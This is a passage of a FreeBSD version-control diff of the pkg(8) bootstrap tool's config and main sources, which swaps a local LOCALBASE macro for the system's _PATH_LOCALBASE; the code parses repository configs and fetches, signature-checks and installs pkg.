[ASSUME_ALWAYS_YES] = { PKG_CONFIG_BOOL, "ASSUME_ALWAYS_YES", "NO", NULL, NULL, false, true, }, [SIGNATURE_TYPE] = { PKG_CONFIG_STRING, "SIGNATURE_TYPE", NULL, NULL, NULL, false, false, }, [FINGERPRINTS] = { PKG_CONFIG_STRING, "FINGERPRINTS", NULL, NULL, NULL, false, false, }, [REPOS_DIR] = { PKG_CONFIG_LIST, "REPOS_DIR", NULL, NULL, NULL, false, true, }, [PUBKEY] = { PKG_CONFIG_STRING, "PUBKEY", NULL, NULL, NULL, false, false } }; static int pkg_get_myabi(char *dest, size_t sz) { struct utsname uts; char machine_arch[255]; size_t len; int error; error = uname(&uts); if (error) return (errno); len = sizeof(machine_arch); error = sysctlbyname("hw.machine_arch", machine_arch, &len, NULL, 0); if (error) return (errno); machine_arch[len] = '\0'; /* * Use __FreeBSD_version rather than kernel version (uts.release) for * use in jails. This is equivalent to the value of uname -U. */ snprintf(dest, sz, "%s:%d:%s", uts.sysname, __FreeBSD_version/100000, machine_arch); return (error); } static void subst_packagesite(const char *abi) { char *newval; const char *variable_string; const char *oldval; if (c[PACKAGESITE].value != NULL) oldval = c[PACKAGESITE].value; else oldval = c[PACKAGESITE].val; if ((variable_string = strstr(oldval, "${ABI}")) == NULL) return; asprintf(&newval, "%.*s%s%s", (int)(variable_string - oldval), oldval, abi, variable_string + strlen("${ABI}")); if (newval == NULL) errx(EXIT_FAILURE, "asprintf"); free(c[PACKAGESITE].value); c[PACKAGESITE].value = newval; } static int boolstr_to_bool(const char *str) { if (str != NULL && (strcasecmp(str, "true") == 0 || strcasecmp(str, "yes") == 0 || strcasecmp(str, "on") == 0 || str[0] == '1')) return (true); return (false); } static void config_parse(const ucl_object_t *obj, pkg_conf_file_t conftype) { struct sbuf *buf = sbuf_new_auto(); const ucl_object_t *cur, *seq; ucl_object_iter_t it = NULL, itseq = NULL; struct config_entry *temp_config; struct config_value *cv; const char *key; int i; size_t j; /* Temporary config for configs that may be disabled. */ temp_config = calloc(CONFIG_SIZE, sizeof(struct config_entry)); while ((cur = ucl_iterate_object(obj, &it, true))) { key = ucl_object_key(cur); if (key == NULL) continue; sbuf_clear(buf); if (conftype == CONFFILE_PKG) { for (j = 0; j < strlen(key); ++j) sbuf_putc(buf, key[j]); sbuf_finish(buf); } else if (conftype == CONFFILE_REPO) { if (strcasecmp(key, "url") == 0) sbuf_cpy(buf, "PACKAGESITE"); else if (strcasecmp(key, "mirror_type") == 0) sbuf_cpy(buf, "MIRROR_TYPE"); else if (strcasecmp(key, "signature_type") == 0) sbuf_cpy(buf, "SIGNATURE_TYPE"); else if (strcasecmp(key, "fingerprints") == 0) sbuf_cpy(buf, "FINGERPRINTS"); else if (strcasecmp(key, "pubkey") == 0) sbuf_cpy(buf, "PUBKEY"); else if (strcasecmp(key, "enabled") == 0) { if ((cur->type != UCL_BOOLEAN) || !ucl_object_toboolean(cur)) goto cleanup; } else continue; sbuf_finish(buf); } for (i = 0; i < CONFIG_SIZE; i++) { if (strcmp(sbuf_data(buf), c[i].key) == 0) break; } /* Silently skip unknown keys to be future compatible. */ if (i == CONFIG_SIZE) continue; /* env has priority over config file */ if (c[i].envset) continue; /* Parse sequence value ["item1", "item2"] */ switch (c[i].type) { case PKG_CONFIG_LIST: if (cur->type != UCL_ARRAY) { warnx("Skipping invalid array " "value for %s.\n", c[i].key); continue; } temp_config[i].list = malloc(sizeof(*temp_config[i].list)); STAILQ_INIT(temp_config[i].list); while ((seq = ucl_iterate_object(cur, &itseq, true))) { if (seq->type != UCL_STRING) continue; cv = malloc(sizeof(struct config_value)); cv->value = strdup(ucl_object_tostring(seq)); STAILQ_INSERT_TAIL(temp_config[i].list, cv, next); } break; case PKG_CONFIG_BOOL: temp_config[i].value = strdup(ucl_object_toboolean(cur) ? "yes" : "no"); break; default: /* Normal string value. */ temp_config[i].value = strdup(ucl_object_tostring(cur)); break; } } /* Repo is enabled, copy over all settings from temp_config. */ for (i = 0; i < CONFIG_SIZE; i++) { if (c[i].envset) continue; /* Prevent overriding ABI, ASSUME_ALWAYS_YES, etc. */ if (conftype != CONFFILE_PKG && c[i].main_only == true) continue; switch (c[i].type) { case PKG_CONFIG_LIST: c[i].list = temp_config[i].list; break; default: c[i].value = temp_config[i].value; break; } } cleanup: free(temp_config); sbuf_delete(buf); } /*- * Parse new repo style configs in style: * Name: * URL: * MIRROR_TYPE: * etc... */ static void parse_repo_file(ucl_object_t *obj) { ucl_object_iter_t it = NULL; const ucl_object_t *cur; const char *key; while ((cur = ucl_iterate_object(obj, &it, true))) { key = ucl_object_key(cur); if (key == NULL) continue; if (cur->type != UCL_OBJECT) continue; config_parse(cur, CONFFILE_REPO); } } static int read_conf_file(const char *confpath, pkg_conf_file_t conftype) { struct ucl_parser *p; ucl_object_t *obj = NULL; p = ucl_parser_new(0); if (!ucl_parser_add_file(p, confpath)) { if (errno != ENOENT) errx(EXIT_FAILURE, "Unable to parse configuration " "file %s: %s", confpath, ucl_parser_get_error(p)); ucl_parser_free(p); /* no configuration present */ return (1); } obj = ucl_parser_get_object(p); if (obj->type != UCL_OBJECT) warnx("Invalid configuration format, ignoring the " "configuration file %s", confpath); else { if (conftype == CONFFILE_PKG) config_parse(obj, conftype); else if (conftype == CONFFILE_REPO) parse_repo_file(obj); } ucl_object_unref(obj); ucl_parser_free(p); return (0); } static int load_repositories(const char *repodir) { struct dirent *ent; DIR *d; char *p; size_t n; char path[MAXPATHLEN]; int ret; ret = 0; if ((d = opendir(repodir)) == NULL) return (1); while ((ent = readdir(d))) { /* Trim out 'repos'. */ if ((n = strlen(ent->d_name)) <= 5) continue; p = &ent->d_name[n - 5]; if (strcmp(p, ".conf") == 0) { snprintf(path, sizeof(path), "%s%s%s", repodir, repodir[strlen(repodir) - 1] == '/' ? "" : "/", ent->d_name); if (access(path, F_OK) == 0 && read_conf_file(path, CONFFILE_REPO)) { ret = 1; goto cleanup; } } } cleanup: closedir(d); return (ret); } int config_init(void) { char *val; int i; const char *localbase; char *env_list_item; char confpath[MAXPATHLEN]; struct config_value *cv; char abi[BUFSIZ]; for (i = 0; i < CONFIG_SIZE; i++) { val = getenv(c[i].key); if (val != NULL) { c[i].envset = true; switch (c[i].type) { case PKG_CONFIG_LIST: /* Split up comma-separated items from env. */ c[i].list = malloc(sizeof(*c[i].list)); STAILQ_INIT(c[i].list); for (env_list_item = strtok(val, ","); env_list_item != NULL; env_list_item = strtok(NULL, ",")) { cv = malloc(sizeof(struct config_value)); cv->value = strdup(env_list_item); STAILQ_INSERT_TAIL(c[i].list, cv, next); } break; default: c[i].val = val; break; } } } /* Read LOCALBASE/etc/pkg.conf first. */ - localbase = getenv("LOCALBASE") ? getenv("LOCALBASE") : _LOCALBASE; + localbase = getenv("LOCALBASE") ? getenv("LOCALBASE") : _PATH_LOCALBASE; snprintf(confpath, sizeof(confpath), "%s/etc/pkg.conf", localbase); if (access(confpath, F_OK) == 0 && read_conf_file(confpath, CONFFILE_PKG)) goto finalize; /* Then read in all repos from REPOS_DIR list of directories. */ if (c[REPOS_DIR].list == NULL) { c[REPOS_DIR].list = malloc(sizeof(*c[REPOS_DIR].list)); STAILQ_INIT(c[REPOS_DIR].list); cv = malloc(sizeof(struct config_value)); cv->value = strdup("/etc/pkg"); STAILQ_INSERT_TAIL(c[REPOS_DIR].list, cv, next); cv = malloc(sizeof(struct config_value)); if (asprintf(&cv->value, "%s/etc/pkg/repos", localbase) < 0) goto finalize; STAILQ_INSERT_TAIL(c[REPOS_DIR].list, cv, next); } STAILQ_FOREACH(cv, c[REPOS_DIR].list, next) if (load_repositories(cv->value)) goto finalize; finalize: if (c[ABI].val == NULL && c[ABI].value == NULL) { if (pkg_get_myabi(abi, BUFSIZ) != 0) errx(EXIT_FAILURE, "Failed to determine the system " "ABI"); c[ABI].val = abi; } subst_packagesite(c[ABI].value != NULL ? c[ABI].value : c[ABI].val); return (0); } int config_string(pkg_config_key k, const char **val) { if (c[k].type != PKG_CONFIG_STRING) return (-1); if (c[k].value != NULL) *val = c[k].value; else *val = c[k].val; return (0); } int config_bool(pkg_config_key k, bool *val) { const char *value; if (c[k].type != PKG_CONFIG_BOOL) return (-1); *val = false; if (c[k].value != NULL) value = c[k].value; else value = c[k].val; if (boolstr_to_bool(value)) *val = true; return (0); } void config_finish(void) { int i; for (i = 0; i < CONFIG_SIZE; i++) free(c[i].value); } Index: head/usr.sbin/pkg/config.h =================================================================== --- head/usr.sbin/pkg/config.h (revision 367074) +++ head/usr.sbin/pkg/config.h (revision 367075) @@ -1,65 +1,66 @@ /*- * SPDX-License-Identifier: BSD-2-Clause-FreeBSD * * Copyright (c) 2013 Baptiste Daroussin * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $FreeBSD$ */ #ifndef _PKG_CONFIG_H #define _PKG_CONFIG_H -#define _LOCALBASE "/usr/local" +#include + #define URL_SCHEME_PREFIX "pkg+" typedef enum { PACKAGESITE = 0, ABI, MIRROR_TYPE, ASSUME_ALWAYS_YES, SIGNATURE_TYPE, FINGERPRINTS, REPOS_DIR, PUBKEY, CONFIG_SIZE } pkg_config_key; typedef enum { PKG_CONFIG_STRING=0, PKG_CONFIG_BOOL, PKG_CONFIG_LIST, } pkg_config_t; typedef enum { CONFFILE_PKG=0, CONFFILE_REPO, } pkg_conf_file_t; int config_init(void); void config_finish(void); int config_string(pkg_config_key, const char **); int config_bool(pkg_config_key, bool *); #endif Index: head/usr.sbin/pkg/pkg.c =================================================================== --- head/usr.sbin/pkg/pkg.c (revision 367074) +++ head/usr.sbin/pkg/pkg.c (revision 367075) @@ -1,1134 +1,1134 @@ /*- * SPDX-License-Identifier: BSD-2-Clause-FreeBSD * * Copyright (c) 2012-2014 Baptiste Daroussin * Copyright (c) 2013 Bryan Drewery * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include __FBSDID("$FreeBSD$"); #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "dns_utils.h" #include "config.h" struct sig_cert { char *name; unsigned char *sig; int siglen; unsigned char *cert; int certlen; bool trusted; }; struct pubkey { unsigned char *sig; int siglen; }; typedef enum { HASH_UNKNOWN, HASH_SHA256, } hash_t; struct fingerprint { hash_t type; char *name; char hash[BUFSIZ]; STAILQ_ENTRY(fingerprint) next; }; STAILQ_HEAD(fingerprint_list, fingerprint); static int extract_pkg_static(int fd, char *p, int sz) { struct archive *a; struct archive_entry *ae; char *end; int ret, r; ret = -1; a = archive_read_new(); if (a == NULL) { warn("archive_read_new"); return (ret); } archive_read_support_filter_all(a); archive_read_support_format_tar(a); if (lseek(fd, 0, 0) == -1) { warn("lseek"); goto cleanup; } if (archive_read_open_fd(a, fd, 4096) != ARCHIVE_OK) { warnx("archive_read_open_fd: %s", archive_error_string(a)); goto cleanup; } ae = NULL; while ((r = archive_read_next_header(a, &ae)) == ARCHIVE_OK) { end = strrchr(archive_entry_pathname(ae), '/'); if (end == NULL) continue; if (strcmp(end, "/pkg-static") == 0) { r = archive_read_extract(a, ae, ARCHIVE_EXTRACT_OWNER | ARCHIVE_EXTRACT_PERM | ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_ACL | ARCHIVE_EXTRACT_FFLAGS | ARCHIVE_EXTRACT_XATTR); strlcpy(p, archive_entry_pathname(ae), sz); break; } } if (r == ARCHIVE_OK) ret = 0; else warnx("failed to extract pkg-static: %s", archive_error_string(a)); cleanup: archive_read_free(a); return (ret); } static int install_pkg_static(const char *path, const char *pkgpath, bool force) { int pstat; pid_t pid; switch ((pid = fork())) { case -1: return (-1); case 0: if (force) execl(path, "pkg-static", "add", "-f", pkgpath, (char *)NULL); else execl(path, "pkg-static", "add", pkgpath, (char *)NULL); _exit(1); default: break; } while (waitpid(pid, &pstat, 0) == -1) if (errno != EINTR) return (-1); if (WEXITSTATUS(pstat)) return (WEXITSTATUS(pstat)); else if (WIFSIGNALED(pstat)) return (128 & (WTERMSIG(pstat))); return (pstat); } static int fetch_to_fd(const char *url, char *path) { struct url *u; struct dns_srvinfo *mirrors, *current; struct url_stat st; FILE *remote; /* To store _https._tcp. + hostname + \0 */ int fd; int retry, max_retry; ssize_t r; char buf[10240]; char zone[MAXHOSTNAMELEN + 13]; static const char *mirror_type = NULL; max_retry = 3; current = mirrors = NULL; remote = NULL; if (mirror_type == NULL && config_string(MIRROR_TYPE, &mirror_type) != 0) { warnx("No MIRROR_TYPE defined"); return (-1); } if ((fd = mkstemp(path)) == -1) { warn("mkstemp()"); return (-1); } retry = max_retry; if ((u = fetchParseURL(url)) == NULL) { warn("fetchParseURL('%s')", url); return (-1); } while (remote == NULL) { if (retry == max_retry) { if (strcmp(u->scheme, "file") != 0 && strcasecmp(mirror_type, "srv") == 0) { snprintf(zone, sizeof(zone), "_%s._tcp.%s", u->scheme, u->host); mirrors = dns_getsrvinfo(zone); current = mirrors; } } if (mirrors != NULL) { strlcpy(u->host, current->host, sizeof(u->host)); u->port = current->port; } remote = fetchXGet(u, &st, ""); if (remote == NULL) { --retry; if (retry <= 0) goto fetchfail; if (mirrors == NULL) { sleep(1); } else { current = current->next; if (current == NULL) current = mirrors; } } } while ((r = fread(buf, 1, sizeof(buf), remote)) > 0) { if (write(fd, buf, r) != r) { warn("write()"); goto fetchfail; } } if (r != 0) { warn("An error occurred while fetching pkg(8)"); goto fetchfail; } if (ferror(remote)) goto fetchfail; goto cleanup; fetchfail: if (fd != -1) { close(fd); fd = -1; unlink(path); } cleanup: if (remote != NULL) fclose(remote); return fd; } static struct fingerprint * parse_fingerprint(ucl_object_t *obj) { const ucl_object_t *cur; ucl_object_iter_t it = NULL; const char *function, *fp, *key; struct fingerprint *f; hash_t fct = HASH_UNKNOWN; function = fp = NULL; while ((cur = ucl_iterate_object(obj, &it, true))) { key = ucl_object_key(cur); if (cur->type != UCL_STRING) continue; if (strcasecmp(key, "function") == 0) { function = ucl_object_tostring(cur); continue; } if (strcasecmp(key, "fingerprint") == 0) { fp = ucl_object_tostring(cur); continue; } } if (fp == NULL || function == NULL) return (NULL); if (strcasecmp(function, "sha256") == 0) fct = HASH_SHA256; if (fct == HASH_UNKNOWN) { warnx("Unsupported hashing function: %s", function); return (NULL); } f = calloc(1, sizeof(struct fingerprint)); f->type = fct; strlcpy(f->hash, fp, sizeof(f->hash)); return (f); } static void free_fingerprint_list(struct fingerprint_list* list) { struct fingerprint *fingerprint, *tmp; STAILQ_FOREACH_SAFE(fingerprint, list, next, tmp) { free(fingerprint->name); free(fingerprint); } free(list); } static struct fingerprint * load_fingerprint(const char *dir, const char *filename) { ucl_object_t *obj = NULL; struct ucl_parser *p = NULL; struct fingerprint *f; char path[MAXPATHLEN]; f = NULL; snprintf(path, MAXPATHLEN, "%s/%s", dir, filename); p = ucl_parser_new(0); if (!ucl_parser_add_file(p, path)) { warnx("%s: %s", path, ucl_parser_get_error(p)); ucl_parser_free(p); return (NULL); } obj = ucl_parser_get_object(p); if (obj->type == UCL_OBJECT) f = parse_fingerprint(obj); if (f != NULL) f->name = strdup(filename); ucl_object_unref(obj); ucl_parser_free(p); return (f); } static struct fingerprint_list * load_fingerprints(const char *path, int *count) { DIR *d; struct dirent *ent; struct fingerprint *finger; struct fingerprint_list *fingerprints; *count = 0; fingerprints = calloc(1, sizeof(struct fingerprint_list)); if (fingerprints == NULL) return (NULL); STAILQ_INIT(fingerprints); if ((d = opendir(path)) == NULL) { free(fingerprints); return (NULL); } while ((ent = readdir(d))) { if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; finger = load_fingerprint(path, ent->d_name); if (finger != NULL) { STAILQ_INSERT_TAIL(fingerprints, finger, next); ++(*count); } } closedir(d); return (fingerprints); } static void sha256_hash(unsigned char hash[SHA256_DIGEST_LENGTH], char out[SHA256_DIGEST_LENGTH * 2 + 1]) { int i; for (i = 0; i < SHA256_DIGEST_LENGTH; i++) sprintf(out + (i * 2), "%02x", hash[i]); out[SHA256_DIGEST_LENGTH * 2] = '\0'; } static void sha256_buf(char *buf, size_t len, char out[SHA256_DIGEST_LENGTH * 2 + 1]) { unsigned char hash[SHA256_DIGEST_LENGTH]; SHA256_CTX sha256; out[0] = '\0'; SHA256_Init(&sha256); SHA256_Update(&sha256, buf, len); SHA256_Final(hash, &sha256); sha256_hash(hash, out); } static int sha256_fd(int fd, char out[SHA256_DIGEST_LENGTH * 2 + 1]) { int my_fd; FILE *fp; char buffer[BUFSIZ]; unsigned char hash[SHA256_DIGEST_LENGTH]; size_t r; int ret; SHA256_CTX sha256; my_fd = -1; fp = NULL; r = 0; ret = 1; out[0] = '\0'; /* Duplicate the fd so that fclose(3) does not close it. */ if ((my_fd = dup(fd)) == -1) { warnx("dup"); goto cleanup; } if ((fp = fdopen(my_fd, "rb")) == NULL) { warnx("fdopen"); goto cleanup; } SHA256_Init(&sha256); while ((r = fread(buffer, 1, BUFSIZ, fp)) > 0) SHA256_Update(&sha256, buffer, r); if (ferror(fp) != 0) { warnx("fread"); goto cleanup; } SHA256_Final(hash, &sha256); sha256_hash(hash, out); ret = 0; cleanup: if (fp != NULL) fclose(fp); else if (my_fd != -1) close(my_fd); (void)lseek(fd, 0, SEEK_SET); return (ret); } static EVP_PKEY * load_public_key_file(const char *file) { EVP_PKEY *pkey; BIO *bp; char errbuf[1024]; bp = BIO_new_file(file, "r"); if (!bp) errx(EXIT_FAILURE, "Unable to read %s", file); if ((pkey = PEM_read_bio_PUBKEY(bp, NULL, NULL, NULL)) == NULL) warnx("ici: %s", ERR_error_string(ERR_get_error(), errbuf)); BIO_free(bp); return (pkey); } static EVP_PKEY * load_public_key_buf(const unsigned char *cert, int certlen) { EVP_PKEY *pkey; BIO *bp; char errbuf[1024]; bp = BIO_new_mem_buf(__DECONST(void *, cert), certlen); if ((pkey = PEM_read_bio_PUBKEY(bp, NULL, NULL, NULL)) == NULL) warnx("%s", ERR_error_string(ERR_get_error(), errbuf)); BIO_free(bp); return (pkey); } static bool rsa_verify_cert(int fd, const char *sigfile, const unsigned char *key, int keylen, unsigned char *sig, int siglen) { EVP_MD_CTX *mdctx; EVP_PKEY *pkey; char sha256[(SHA256_DIGEST_LENGTH * 2) + 2]; char errbuf[1024]; bool ret; pkey = NULL; mdctx = NULL; ret = false; SSL_load_error_strings(); /* Compute SHA256 of the package. */ if (lseek(fd, 0, 0) == -1) { warn("lseek"); goto cleanup; } if ((sha256_fd(fd, sha256)) == -1) { warnx("Error creating SHA256 hash for package"); goto cleanup; } if (sigfile != NULL) { if ((pkey = load_public_key_file(sigfile)) == NULL) { warnx("Error reading public key"); goto cleanup; } } else { if ((pkey = load_public_key_buf(key, keylen)) == NULL) { warnx("Error reading public key"); goto cleanup; } } /* Verify signature of the SHA256(pkg) is valid. */ if ((mdctx = EVP_MD_CTX_create()) == NULL) { warnx("%s", ERR_error_string(ERR_get_error(), errbuf)); goto error; } if (EVP_DigestVerifyInit(mdctx, NULL, EVP_sha256(), NULL, pkey) != 1) { warnx("%s", ERR_error_string(ERR_get_error(), errbuf)); goto error; } if (EVP_DigestVerifyUpdate(mdctx, sha256, strlen(sha256)) != 1) { warnx("%s", ERR_error_string(ERR_get_error(), errbuf)); goto error; } if (EVP_DigestVerifyFinal(mdctx, sig, siglen) != 1) { warnx("%s", ERR_error_string(ERR_get_error(), errbuf)); goto error; } ret = true; printf("done\n"); goto cleanup; error: printf("failed\n"); cleanup: if (pkey) EVP_PKEY_free(pkey); if (mdctx) EVP_MD_CTX_destroy(mdctx); ERR_free_strings(); return (ret); } static struct pubkey * read_pubkey(int fd) { struct pubkey *pk; struct sbuf *sig; char buf[4096]; int r; if (lseek(fd, 0, 0) == -1) { warn("lseek"); return (NULL); } sig = sbuf_new_auto(); while ((r = read(fd, buf, sizeof(buf))) >0) { sbuf_bcat(sig, buf, r); } sbuf_finish(sig); pk = calloc(1, sizeof(struct pubkey)); pk->siglen = sbuf_len(sig); pk->sig = calloc(1, pk->siglen); memcpy(pk->sig, sbuf_data(sig), pk->siglen); sbuf_delete(sig); return (pk); } static struct sig_cert * parse_cert(int fd) { int my_fd; struct sig_cert *sc; FILE *fp; struct sbuf *buf, *sig, *cert; char *line; size_t linecap; ssize_t linelen; buf = NULL; my_fd = -1; sc = NULL; line = NULL; linecap = 0; if (lseek(fd, 0, 0) == -1) { warn("lseek"); return (NULL); } /* Duplicate the fd so that fclose(3) does not close it. */ if ((my_fd = dup(fd)) == -1) { warnx("dup"); return (NULL); } if ((fp = fdopen(my_fd, "rb")) == NULL) { warn("fdopen"); close(my_fd); return (NULL); } sig = sbuf_new_auto(); cert = sbuf_new_auto(); while ((linelen = getline(&line, &linecap, fp)) > 0) { if (strcmp(line, "SIGNATURE\n") == 0) { buf = sig; continue; } else if (strcmp(line, "CERT\n") == 0) { buf = cert; continue; } else if (strcmp(line, "END\n") == 0) { break; } if (buf != NULL) sbuf_bcat(buf, line, linelen); } fclose(fp); /* Trim out unrelated trailing newline */ sbuf_setpos(sig, sbuf_len(sig) - 1); sbuf_finish(sig); sbuf_finish(cert); sc = calloc(1, sizeof(struct sig_cert)); sc->siglen = sbuf_len(sig); sc->sig = calloc(1, sc->siglen); memcpy(sc->sig, sbuf_data(sig), sc->siglen); sc->certlen = sbuf_len(cert); sc->cert = strdup(sbuf_data(cert)); sbuf_delete(sig); sbuf_delete(cert); return (sc); } static bool verify_pubsignature(int fd_pkg, int fd_sig) { struct pubkey *pk; const char *pubkey; bool ret; pk = NULL; pubkey = NULL; ret = false; if (config_string(PUBKEY, &pubkey) != 0) { warnx("No CONFIG_PUBKEY defined"); goto cleanup; } if ((pk = read_pubkey(fd_sig)) == NULL) { warnx("Error reading signature"); goto cleanup; } /* Verify the signature. */ printf("Verifying signature with public key %s... ", pubkey); if (rsa_verify_cert(fd_pkg, pubkey, NULL, 0, pk->sig, pk->siglen) == false) { fprintf(stderr, "Signature is not valid\n"); goto cleanup; } ret = true; cleanup: if (pk) { free(pk->sig); free(pk); } return (ret); } static bool verify_signature(int fd_pkg, int fd_sig) { struct fingerprint_list *trusted, *revoked; struct fingerprint *fingerprint; struct sig_cert *sc; bool ret; int trusted_count, revoked_count; const char *fingerprints; char path[MAXPATHLEN]; char hash[SHA256_DIGEST_LENGTH * 2 + 1]; sc = NULL; trusted = revoked = NULL; ret = false; /* Read and parse fingerprints. */ if (config_string(FINGERPRINTS, &fingerprints) != 0) { warnx("No CONFIG_FINGERPRINTS defined"); goto cleanup; } snprintf(path, MAXPATHLEN, "%s/trusted", fingerprints); if ((trusted = load_fingerprints(path, &trusted_count)) == NULL) { warnx("Error loading trusted certificates"); goto cleanup; } if (trusted_count == 0 || trusted == NULL) { fprintf(stderr, "No trusted certificates found.\n"); goto cleanup; } snprintf(path, MAXPATHLEN, "%s/revoked", fingerprints); if ((revoked = load_fingerprints(path, &revoked_count)) == NULL) { warnx("Error loading revoked certificates"); goto cleanup; } /* Read certificate and signature in. */ if ((sc = parse_cert(fd_sig)) == NULL) { warnx("Error parsing certificate"); goto cleanup; } /* Explicitly mark as non-trusted until proven otherwise. */ sc->trusted = false; /* Parse signature and pubkey out of the certificate */ sha256_buf(sc->cert, sc->certlen, hash); /* Check if this hash is revoked */ if (revoked != NULL) { STAILQ_FOREACH(fingerprint, revoked, next) { if (strcasecmp(fingerprint->hash, hash) == 0) { fprintf(stderr, "The package was signed with " "revoked certificate %s\n", fingerprint->name); goto cleanup; } } } STAILQ_FOREACH(fingerprint, trusted, next) { if (strcasecmp(fingerprint->hash, hash) == 0) { sc->trusted = true; sc->name = strdup(fingerprint->name); break; } } if (sc->trusted == false) { fprintf(stderr, "No trusted fingerprint found matching " "package's certificate\n"); goto cleanup; } /* Verify the signature. */ printf("Verifying signature with trusted certificate %s... ", sc->name); if (rsa_verify_cert(fd_pkg, NULL, sc->cert, sc->certlen, sc->sig, sc->siglen) == false) { fprintf(stderr, "Signature is not valid\n"); goto cleanup; } ret = true; cleanup: if (trusted) free_fingerprint_list(trusted); if (revoked) free_fingerprint_list(revoked); if (sc) { free(sc->cert); free(sc->sig); free(sc->name); free(sc); } return (ret); } static int bootstrap_pkg(bool force) { int fd_pkg, fd_sig; int ret; char url[MAXPATHLEN]; char tmppkg[MAXPATHLEN]; char tmpsig[MAXPATHLEN]; const char *packagesite; const char *signature_type; char pkgstatic[MAXPATHLEN]; fd_sig = -1; ret = -1; if (config_string(PACKAGESITE, &packagesite) != 0) { warnx("No PACKAGESITE defined"); return (-1); } if (config_string(SIGNATURE_TYPE, &signature_type) != 0) { warnx("Error looking up SIGNATURE_TYPE"); return (-1); } printf("Bootstrapping pkg from %s, please wait...\n", packagesite); /* Support pkg+http:// for PACKAGESITE which is the new format in 1.2 to avoid confusion on why http://pkg.FreeBSD.org has no A record. */ if (strncmp(URL_SCHEME_PREFIX, packagesite, strlen(URL_SCHEME_PREFIX)) == 0) packagesite += strlen(URL_SCHEME_PREFIX); snprintf(url, MAXPATHLEN, "%s/Latest/pkg.txz", packagesite); snprintf(tmppkg, MAXPATHLEN, "%s/pkg.txz.XXXXXX", getenv("TMPDIR") ? getenv("TMPDIR") : _PATH_TMP); if ((fd_pkg = fetch_to_fd(url, tmppkg)) == -1) goto fetchfail; if (signature_type != NULL && strcasecmp(signature_type, "NONE") != 0) { if (strcasecmp(signature_type, "FINGERPRINTS") == 0) { snprintf(tmpsig, MAXPATHLEN, "%s/pkg.txz.sig.XXXXXX", getenv("TMPDIR") ? getenv("TMPDIR") : _PATH_TMP); snprintf(url, MAXPATHLEN, "%s/Latest/pkg.txz.sig", packagesite); if ((fd_sig = fetch_to_fd(url, tmpsig)) == -1) { fprintf(stderr, "Signature for pkg not " "available.\n"); goto fetchfail; } if (verify_signature(fd_pkg, fd_sig) == false) goto cleanup; } else if (strcasecmp(signature_type, "PUBKEY") == 0) { snprintf(tmpsig, MAXPATHLEN, "%s/pkg.txz.pubkeysig.XXXXXX", getenv("TMPDIR") ? getenv("TMPDIR") : _PATH_TMP); snprintf(url, MAXPATHLEN, "%s/Latest/pkg.txz.pubkeysig", packagesite); if ((fd_sig = fetch_to_fd(url, tmpsig)) == -1) { fprintf(stderr, "Signature for pkg not " "available.\n"); goto fetchfail; } if (verify_pubsignature(fd_pkg, fd_sig) == false) goto cleanup; } else { warnx("Signature type %s is not supported for " "bootstrapping.", signature_type); goto cleanup; } } if ((ret = extract_pkg_static(fd_pkg, pkgstatic, MAXPATHLEN)) == 0) ret = install_pkg_static(pkgstatic, tmppkg, force); goto cleanup; fetchfail: warnx("Error fetching %s: %s", url, fetchLastErrString); if (fetchLastErrCode == FETCH_RESOLV) { fprintf(stderr, "Address resolution failed for %s.\n", packagesite); fprintf(stderr, "Consider changing PACKAGESITE.\n"); } else { fprintf(stderr, "A pre-built version of pkg could not be found for " "your system.\n"); fprintf(stderr, "Consider changing PACKAGESITE or installing it from " "ports: 'ports-mgmt/pkg'.\n"); } cleanup: if (fd_sig != -1) { close(fd_sig); unlink(tmpsig); } if (fd_pkg != -1) { close(fd_pkg); unlink(tmppkg); } return (ret); } static const char confirmation_message[] = "The package management tool is not yet installed on your system.\n" "Do you want to fetch and install it now? [y/N]: "; static const char 